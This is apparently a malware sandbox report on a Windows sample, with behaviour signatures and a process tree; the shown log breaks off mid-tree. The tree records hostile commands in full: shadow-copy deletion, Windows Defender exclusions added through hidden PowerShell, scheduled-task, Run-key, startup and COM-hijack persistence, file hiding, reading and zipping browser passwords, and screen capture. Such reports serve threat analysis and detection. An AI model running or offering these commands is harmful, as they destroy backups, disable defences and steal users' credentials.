Analysis
- max time kernel
150s - max time network
157s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
02/11/2026, 07:03
General
- Target 2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
- Size 55.8MB
- Sample261102-hvd3zaed62
- SHA256 93f04080d58fec05f248f2a015a82c9e8a0964679dc0f057ddc2b0339d6b4979
Score
9/10
Malware Config
Signatures
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 30 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Creates a file in the Startup directory 1 TTPs 4 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 2 IoCs
- Indicator Removal: Clear Persistence 1 TTPs 4 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Looks up external IP address via web service 1 TTPs 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 2 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 4 IoCs
- Hide Artifacts: Hidden Files and Directories 1 TTPs 4 IoCs
- Drops file in Program Files directory 4 IoCs
- Drops file in Windows directory 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 64 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 16 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Interacts with shadow copies 3 TTPs 4 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 34 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 10 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T 2>nul"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T 2>nul"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T 2>nul"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T 2>nul"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T 2>nul"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM vivaldi.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe /T 2>nul"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM firefox.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe /T 2>nul"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /F /IM browser.exe /T3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic shadowcopy call create Volume=C:\"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy call create Volume=C:\3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "vssadmin list shadows"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin list shadows3⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c ""C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /debug+ /optimize- /platform:x86 /target:exe /win32manifest:"C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\mi0m3t73.manifest" /out:"C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\GoogleUpdate.exe" "C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\mi0m3t73.cs""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /nologo /debug+ /optimize- /platform:x86 /target:exe /win32manifest:"C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\mi0m3t73.manifest" /out:"C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\GoogleUpdate.exe" "C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\mi0m3t73.cs"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6F2B.tmp" "c:\Users\Admin\AppData\Local\Temp\ck_1793603021260\CSC9CD1CDB26261451FBD893F8C13A6DF77.TMP"4⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\GoogleUpdate.exe"C:\Program Files\Google\Chrome\Application\GoogleUpdate.exe" AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA56fnp7cPp0O9+MTNMhhuzBAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAAC/fdDdUIoA6VQ88BVkxrpqGq8cwRYDpf03UfcNLuFCAAAAAA6AAAAAAgAAIAAAAIN+TT7iwd8VnGcsh09rKQ+TvWUe5pY6gsy0kfBrthsJkAEAAHdMfBqPeUaweKEOL8DoLdqbeG1PDpUmED6SfMmnPM8eTcbEEhgk1fHfFVTaWaOjbKbyiVt4bM5ZcuHIs2wPqGDjtYxjG3S4Krn2bdwr6C/8PDRGV0wQte8GwZkCT8H2iVLOYNdtl3b8Rj8trnBivI+TJLYiZCxggJSm4ft2aeCBpQjzNj/VSdxWw+ogiD0xm7vG+etJRqXLfB8XORdqOf0XEZFA8WGkYBR/Pm3ZuxiEQO85/XAeaOTNlXpegppRM9mOwt/0NOlv/XA3j3QJv3Ozw4HhlxDVuq6RuSVYx6otKKLiB1Xh5KpW2nmzlG77HJWHQfORBuTX4ITY3/9GA8dCjavRzUVl0ZO9H+Z2JJ+XEIoRcpB5k2tvvBk90ecXJVrNDY63/BHD9IDQrMlAKTxSSPzvPPDuqiaueOLZDTN74ixtEf0YI9X967A3g7vfRc8MfL0rDo8NQJOwQgUU8bLj1SHqR8XbMgUbFczAw6Hpu8sh+dJzuGL1ukJY0eNDfjXYaC+M8LizIItoNClWQuhAAAAAc9l78VmsScqp9QM79H5j60HCfucS+cjEI3yEt1BkojM/2OAooS/FS2XVKJgL08L7H15F1GJvZI/9r6FNA50U+w==2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /TN "Service_uqt2gcft" /TR "powershell -NoProfile -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\duqt2gcft.ps1\"" /SC ONCE /ST 00:00 /RU SYSTEM /F"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN "Service_uqt2gcft" /TR "powershell -NoProfile -ExecutionPolicy Bypass -File \"C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\duqt2gcft.ps1\"" /SC ONCE /ST 00:00 /RU SYSTEM /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Run /TN "Service_uqt2gcft""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Run /TN "Service_uqt2gcft"3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "Service_uqt2gcft" /F"2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "Service_uqt2gcft" /F3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "type "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\hjr3qzeo.default-release\logins.json""2⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\BrowserData', 'C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\autofill', 'C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\passwords' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\595498962.zip' -Force""2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\BrowserData', 'C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\autofill', 'C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\passwords' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\595498962.zip' -Force"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "vssadmin delete shadows /Shadow=%{00000000-0000-0000-0000-000000000000}% /Quiet 2>nul"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /Shadow=%{00000000-0000-0000-0000-000000000000}% /Quiet3⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic shadowcopy where "ID like '%'" delete"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy where "ID like '%'" delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM Steam.exe /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM RiotClientServices.exe /F"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM RiotClientServices.exe /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "javaw.exe" /F"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM "javaw.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "Minecraft.exe" /F"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM "Minecraft.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "lunar client.exe" /F"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM "lunar client.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "lunarclient.exe" /F"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM "lunarclient.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "TLauncher.exe" /F"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM "TLauncher.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "tlauncher.exe" /F"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM "tlauncher.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "Badlion Client.exe" /F"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM "Badlion Client.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /IM "badlion.exe" /F"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /IM "badlion.exe" /F3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +H +S "C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\BackgroundTasksHost.exe""2⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +H +S "C:\Users\Admin\AppData\Local\Microsoft\Windows\SystemCache\BackgroundTasksHost.exe"3⤵
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet session3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe'" 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'" 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'" 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'" 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionProcess '2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe'" 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -EP Bypass -W Hidden -C "Add-MpPreference -ExclusionProcess '2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore" /F"2⤵
- Indicator Removal: Clear Persistence
-
C:\Windows\system32\schtasks.exeschtasks /Delete /TN "MicrosoftEdgeUpdateTaskMachineCore" /F3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /TN "MicrosoftEdgeUpdateTaskMachineCore" /XML "C:\Users\Admin\AppData\Local\Temp\~DFmvywy463.tmp" /F"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /Create /TN "MicrosoftEdgeUpdateTaskMachineCore" /XML "C:\Users\Admin\AppData\Local\Temp\~DFmvywy463.tmp" /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"" /f"2⤵
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdate" /t REG_SZ /d ""C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"" /f3⤵
- Adds Run key to start application
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mvywy4bw.vbs""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mvywy4bw.vbs"3⤵
- Creates a file in the Startup directory
- Executes a VBScript file via the Windows Script Host.
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "attrib +H "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk""2⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +H "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk"3⤵
- Creates a file in the Startup directory
- Views/modifies file attributes
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "cscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mvywy4hn.vbs""2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\~mvywy4hn.vbs"3⤵
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\CLSID\{c7f60d-c7f6-c7f6-c7f6-c7f60dc7f6}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe" /f"2⤵
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{c7f60d-c7f6-c7f6-c7f6-c7f60dc7f6}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe" /f3⤵
- Modifies registry class
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\CLSID\{c7f60d-c7f6-c7f6-c7f6-c7f60dc7f6}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{c7f60d-c7f6-c7f6-c7f6-c7f60dc7f6}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /f3⤵
- Modifies registry class
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp = New-Object System.Drawing.Bitmap $bounds.Width,$bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bmp); $graphics.CopyFromScreen($bounds.X,$bounds.Y,0,0,$bounds.Size); $bmp.Save('C:\\Users\\Admin\\AppData\\Local\\Temp\\screen_1793603053295.png'); $graphics.Dispose(); $bmp.Dispose()""2⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp = New-Object System.Drawing.Bitmap $bounds.Width,$bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bmp); $graphics.CopyFromScreen($bounds.X,$bounds.Y,0,0,$bounds.Size); $bmp.Save('C:\\Users\\Admin\\AppData\\Local\\Temp\\screen_1793603053295.png'); $graphics.Dispose(); $bmp.Dispose()"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE" -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\ck_1793603021260\duqt2gcft.ps1"1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exeC:\Users\Admin\AppData\Local\Temp\2026-11-01_d86314b2d330fb477c934dd54f607012_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet session3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "net session"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\net.exenet session3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T 2>nul"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM chrome.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM msedge.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T 2>nul"2⤵
-
C:\Windows\system32\taskkill.exetaskkill /F /IM brave.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T 2>nul"2⤵
- Executes a command shell one-liner
-
C:\Windows\system32\taskkill.exetaskkill /F /IM opera.exe /T3⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T 2>nul"2⤵
- Executes a command shell one-liner
-
